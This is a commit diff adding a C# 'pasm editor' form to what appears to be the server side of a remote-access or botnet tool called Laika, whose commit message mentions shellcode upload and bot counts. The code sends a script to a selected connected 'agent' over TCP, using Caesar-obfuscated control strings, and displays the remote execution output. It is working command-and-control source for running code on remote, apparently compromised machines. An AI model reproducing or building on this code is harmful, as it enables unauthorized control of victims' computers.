add: pasm integration, slow shellcode upload & disconnects fix, bot count fix

Server/PasmEditor.cs

@@ -0,0 +1,189 @@
+using System;
+using System.IO;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+using System.Net.Sockets;
+using System.Threading;
+using static System.Windows.Forms.VisualStyles.VisualStyleElement;
+using System.Runtime.InteropServices;
+using System.Text.RegularExpressions;
+using System.Xml;
+
+namespace Server
+{
+    public partial class PasmEditor : Form
+    {
+        private static string filepath = "";
+        private static bool is_executing = false;
+        public PasmEditor(bool is_from_right_click)
+        {
+            InitializeComponent();
+            executeToolStripMenuItem.Enabled = is_from_right_click;
+            richTextBox1.DragDrop += new DragEventHandler(richTextBox1_DragDrop);
+        }
+
+        private void newCTRLNToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            richTextBox1.Text = "";
+            filepath = "";
+            this.Text = "pasm editor - New File";
+        }
+
+        private void openToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            OpenFileDialog openFileDialog = new OpenFileDialog
+            {
+                Filter = "PASM source files (*.pasm)|*.pasm",
+                Title = "Select your PASM source code file."
+            };
+
+            if (openFileDialog.ShowDialog() != DialogResult.OK)
+                return;
+
+            string filePath = openFileDialog.FileName;
+            if (filePath == null) return;
+
+            richTextBox1.LoadFile(filePath, RichTextBoxStreamType.PlainText);
+            filepath = filePath;
+
+            this.Text = "pasm editor - " + Path.GetFileName(filePath);
+        }
+
+        private void saveToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            if (filepath == "")
+            {
+                saveAsCTRLMajSToolStripMenuItem_Click(sender, e);
+                return;
+            }
+            richTextBox1.SaveFile(filepath, RichTextBoxStreamType.PlainText);
+        }
+
+        private void saveAsCTRLMajSToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            SaveFileDialog saveFileDialog = new SaveFileDialog
+            {
+                Filter = "PASM source files (*.pasm)|*.pasm",
+                Title = "Save as"
+            };
+
+            if (saveFileDialog.ShowDialog() != DialogResult.OK)
+                return;
+
+            string filePath = saveFileDialog.FileName;
+            if (filePath == null) return;
+
+            richTextBox1.SaveFile(filePath, RichTextBoxStreamType.PlainText);
+            filepath = filePath;
+        }
+
+        private void closeCTRLToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            richTextBox1.Text = "";
+            filepath = "";
+            this.Text = "pasm editor - New File";
+        }
+
+        void richTextBox1_DragDrop(object sender, DragEventArgs e)
+        {
+            object filename = e.Data.GetData("FileDrop");
+            if (filename != null)
+            {
+                var list = filename as string[];
+
+                if (list != null && !string.IsNullOrWhiteSpace(list[0]))
+                {
+                    richTextBox1.Clear();
+                    richTextBox1.LoadFile(list[0], RichTextBoxStreamType.PlainText);
+                    filepath = list[0];
+                    this.Text = "pasm editor - " + Path.GetFileName(filepath);
+                }
+            }
+            e.Effect = DragDropEffects.None;
+        }
+
+        private void execute_script()
+        {
+            is_executing = true;
+            TcpClient c = Server.Menu.CONNECT_CLIENTS[Server.Menu.CLIENT_ID];
+            c.ReceiveTimeout = 10000;
+            c.Client.Blocking = true;
+
+            try
+            {
+                NetworkStream stream = c.GetStream();
+
+                byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("pasm"));
+                stream.Write(Message, 0, Message.Length);
+
+                string fileContent = File.ReadAllText(filepath);
+                byte[] fileContentBytes = Encoding.UTF8.GetBytes(fileContent);
+                stream.Write(fileContentBytes, 0, fileContentBytes.Length);
+
+                byte[] buffer = new byte[2048];
+                int bytesRead;
+
+                textBox1.Text += "\r\n\r\nLaika: script sent\r\n\r\n";
+
+                while (true)
+                {
+                    bytesRead = stream.Read(buffer, 0, buffer.Length);
+                    string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
+
+                    if (receivedData == "fail")
+                    {
+                        textBox1.Text += "Agent failed to execute the script due to an unknown error.\n";
+                        textBox1.SelectionStart = textBox1.TextLength;
+                        textBox1.ScrollToCaret();
+                        break;
+                    }
+
+                    textBox1.Text += receivedData.Replace(Utils.CAESAR("Laika: end of script"), "").Replace("\n", "\r\n");
+
+                    if (receivedData.Contains(Utils.CAESAR("Laika: end of script")))
+                    {
+                        textBox1.Text += "\r\n\r\nLaika: end of script\r\n\r\n";
+                        textBox1.SelectionStart = textBox1.TextLength;
+                        textBox1.ScrollToCaret();
+                        break;
+                    }
+
+                    textBox1.SelectionStart = textBox1.TextLength;
+                    textBox1.ScrollToCaret();
+                    this.Update();
+                }
+            }
+            catch
+            {
+                MessageBox.Show("Client timed out.");
+            }
+
+            is_executing = false;
+            executeToolStripMenuItem.Enabled = true;
+        }
+        private void executeToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            if (is_executing)
+                return;
+
+            Thread t = new Thread(execute_script);
+            t.Start();
+
+            executeToolStripMenuItem.Enabled = false;
+        }
+
+        private void richTextBox1_TextChanged(object sender, EventArgs e)
+        {
+            if (!this.Text.Contains("*"))
+            {
+                this.Text += "*";
+            }
+        }
+    }
+}